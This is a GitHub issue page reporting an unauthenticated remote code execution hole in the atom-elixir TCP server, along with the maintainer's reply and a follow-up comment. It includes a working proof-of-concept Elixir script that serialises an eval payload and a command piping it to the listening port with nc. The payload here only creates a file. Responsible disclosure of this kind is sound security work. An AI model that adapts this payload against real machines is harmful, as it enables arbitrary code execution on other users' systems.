Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unauthenticated remote code execution from any host #67

Open
ivan opened this issue Feb 26, 2017 · 2 comments
Open

Unauthenticated remote code execution from any host #67

ivan opened this issue Feb 26, 2017 · 2 comments

Comments

@ivan
Copy link

ivan commented Feb 26, 2017

atom-elixir@master starts a TCP server that listens on all interfaces and evals code without authenticating the user. Anyone on the network can use this to execute arbitrary code with the privileges of the user running atom-elixir. (Note: I believe the atom-elixir 0.2.2 release version is unaffected; I didn't see a TCP server there.)

make_payload.exs:

# This can, of course, be far worse.
exploit = ~s{File.touch!("/tmp/atom-elixir-rce")}

payload = %{"buffer" => "", "module" => exploit, "function" => "", "line" => ""}
data    = %{"request" => "definition", "payload" => payload}
bterm   = :erlang.term_to_binary(data)
length  = bterm |> byte_size
:ok     = IO.write(<<101, length :: size(32), bterm :: bitstring>>)

Make sure atom-elixir@master is running in Atom (atom --foreground), take note of the port, and run:

elixir make_payload.exs | nc 127.0.0.1 PORT

and observe /tmp/atom-elixir-rce get created on the target machine (which, as mentioned, does not need to be localhost).

I filed a similar bug on alchemist-server at tonini/alchemist-server#14 and the comments there apply here too, especially: listening only on 127.0.0.1 does not fully resolve the issue because of potential attacks from other users or through the browser.

@msaraiva
Copy link
Owner

msaraiva commented Mar 3, 2017

@ivan thanks for reporting this issue. I'll take a look at it as soon I finish the new API.

Note: I believe the atom-elixir 0.2.2 release version is unaffected; I didn't see a TCP server there.

Yes. TCPServer is still in development and has not been published yet.

@mveytsman
Copy link

@msaraiva I want to bring this to your attention tonini/alchemist-server#14 (comment)

This issue is exploitable from any website via javascript.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants